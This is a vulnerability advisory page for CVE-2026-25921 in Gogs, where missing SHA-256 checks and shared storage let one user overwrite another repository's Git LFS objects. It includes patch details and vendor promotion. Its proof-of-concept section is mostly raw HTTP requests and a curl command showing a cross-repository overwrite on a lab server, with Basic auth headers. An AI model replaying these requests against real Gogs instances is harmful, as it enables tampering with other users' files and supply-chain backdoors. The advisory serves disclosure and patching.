CVE-2026-25921 is a critical-severity (CVSS 9.3) CWE-345 vulnerability in gogs.io/gogs. A fix is available for gogs.io/gogs — see the affected versions and patch details below.
Gogs: Cross-repository LFS object overwrite via missing content hash verification
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25921.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25921 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
gogs.io/gogsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Overwritable LFS object across different repos leads to supply-chain attack, all LFS objects are vulnerable to be maliciously overwritten by malicious attackers.
Details
Gogs store all LFS objects in the same place, no isolation between different repositories. (repo id not concatenated to storage path) https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L52-L58
Gogs does not verify uploaded LFS file content against its claimed SHA-256, meaning attackers can manipulate the uploaded file like injecting backdoor. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/lfsutil/storage.go#L79-L89
Here's the comment that trust client to retry upload allowing them to overwrite. However, this assumption does not hold in the case of a malicious client. https://github.com/gogs/gogs/blob/7a2dffa95ac64f31c8322cb50d32694b05610144/internal/route/lfs/basic.go#L111-L113
PoC
# ./gogs -v
Gogs version 0.13.0
1. User (admin1) upload a LFS object into their repository admin1/testlfs.git normally
POST http://172.29.121.170/admin1/testlfs.git/info/lfs/objects/batch
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Content-Length: 168
{"operation": "upload", "objects": [{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}], "ref": {"name": "refs/heads/master"}}
response: <Response [200]>
Connection: close
Content-Length: 438
Content-Type: application/vnd.git-lfs+json
Date: Thu, 28 Nov 2024 13:57:47 GMT
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
{'objects': [{'actions': {'upload': {'header': {'Content-Type': 'application/octet-stream'},
'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a'},
'verify': {'href': 'http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify'}},
'oid': '5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a',
'size': 1048576}],
'transfer': 'basic'}
[STEP3] file_upload PUT http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
headers: {'Content-Type': 'application/octet-stream', 'Accept': 'application/vnd.git-lfs+json', 'Authorization': 'Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI='}
response: <Response [200]>
[verify POST] http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
POST http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/verify
User-Agent: git-lfs/3.0.2 (GitHub; linux amd64; go 1.17.2)
Accept-Encoding: gzip, deflate, br
Accept: application/vnd.git-lfs+json
Connection: keep-alive
Content-Type: application/vnd.git-lfs+json
Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=
Cookie: lang=en-US
Content-Length: 92
{"oid": "5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a", "size": 1048576}
response: <Response [200]>
Connection: close
Content-Length: 0
Date: Thu, 28 Nov 2024 13:57:47 GMT
In this step, upload a LFS object 5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
2. Attacker user2 overwrite this file by uploading manipulated content to their repo user2/public.git
PUT http://172.29.121.170:3000/user2/public.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a
Content-Type: application/octet-stream
Accept: application/vnd.git-lfs+json
Authorization: Basic dXNlcjI6NTRmZGU5ZmI3YjdmOTQ0MmM3MzY4ODhlMWIyNjZmMWE4MzAyMzE5NQ==
response: <Response [200]>
3. Verify the content has been overwritten:
# curl http://172.29.121.170:3000/admin1/testlfs.git/info/lfs/objects/basic/5f8c5042d51400e9e2e9bed01353edacf72edc88340038145229cd494b5fe08a -H "Authorization: Basic YWRtaW4xOjg2ZjgxMmNkNDBiODY1YmIzZGQ1NTgyNDI2OTE2M2FmNDM3ZGZjZWI=" -i
HTTP/1.1 200 OK
Content-Length: 1048576
Connection: keep-alive
Content-Type: application/octet-stream
Date: Thu, 28 Nov 2024 14:01:53 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
curl: (18) transfer closed with 1048563 bytes remaining to read
2222 replaced
Impact
All LFS objects hosted on Gogs can be maliciously overwritten. Supply-chain attack is possible, and when user download LFS object from webpage, there's no warning at all.
Fix Suggestion
Uploaded LFS objects must be verified to ensure their content matches the claimed SHA-256 hash, to prevent the upload of tampered files.
Fix example: https://code.rhodecode.com/rhodecode-vcsserver/changeset/a680a60521bf02c29413d718ebca36c4f692ea4a?diffmode=unified
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | gogs.io/gogs | all versions | 0.14.2go get gogs.io/gogs@v0.14.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for gogs.io/gogs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update gogs.io/gogs to 0.14.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25921 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25921 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25921. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-25921 in your dependencies?
O3 Security finds CVE-2026-25921 across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.